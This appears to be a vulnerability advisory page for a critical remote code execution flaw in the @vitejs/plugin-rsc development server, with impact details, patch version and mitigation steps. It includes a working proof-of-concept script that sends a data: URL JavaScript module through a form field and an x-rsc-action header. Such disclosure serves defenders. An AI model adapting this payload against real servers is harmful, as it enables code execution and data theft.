@vitejs/plugin-rsc Remote Code Execution through unsafe dynamic imports in RSC server function APIs on development serverGHSA-j76j-5p5g-9wfr
CRITICALFix: vitejs/vite-plugin-react@fe634b5GHSA-j76j-5p5g-9wfr is a critical-severity (CVSS 9.8) Code Injection vulnerability in @vitejs/plugin-rsc. A fix is available for @vitejs/plugin-rsc — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-j76j-5p5g-9wfr.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@vitejs/plugin-rscnpmDescription
Summary
Arbitrary Remote Code Execution on development server via unsafe dynamic imports in @vitejs/plugin-rsc server function APIs (loadServerAction, decodeReply, decodeAction) when integrated into RSC applications that expose server function endpoints.
Impact
Attackers with network access to the development server can execute arbitrary JavaScript code with Node.js privileges, allowing them to read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using vite --host to expose the server on all network interfaces.
Details
In the example RSC application provided in Proof of Concept, the server handles server function call through API such as loadServerAction, decodeReply, decodeAction with http request's header and body as inputs:
During development, these API internally relies on dynamic import to load server function module, which allows executing arbitrary module including data url module.
Proof of Concept
The example app is avialable in
- https://github.com/vitejs/vite-plugin-react/tree/main/packages/plugin-rsc/examples/starter
- https://stackblitz.com/edit/github-rubfqp9k?file=poc.js
Reproduction Steps:
- Stat development server
vite dev - Run a following script
node poc.js - See "REMOTE CODE EXECUTION1" and "REMOTE CODE EXECUTION2" in server console
// [poc.js]
const payload = {
0: ["$F1"],
1: { id: "data:text/javascript,console.log('REMOTE CODE EXECUTION 1')# " },
};
const fd = new FormData();
for (const key in payload) {
fd.append(key, JSON.stringify(payload[key]));
}
const serverUrl = process.argv[2] || 'http://localhost:5173/_.rsc';
const response = fetch(serverUrl, {
method: "POST",
headers: {
"x-rsc-action": "data:text/javascript,console.log('REMOTE CODE EXECUTION 2')# ",
},
body: fd,
})
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @vitejs/plugin-rsc | all versions | 0.5.6npm install @vitejs/plugin-rsc@0.5.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @vitejs/plugin-rsc, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @vitejs/plugin-rsc to 0.5.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-j76j-5p5g-9wfr is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Frequently Asked Questions
Is GHSA-j76j-5p5g-9wfr in your dependencies?
Find it across npm, including transitive dependencies.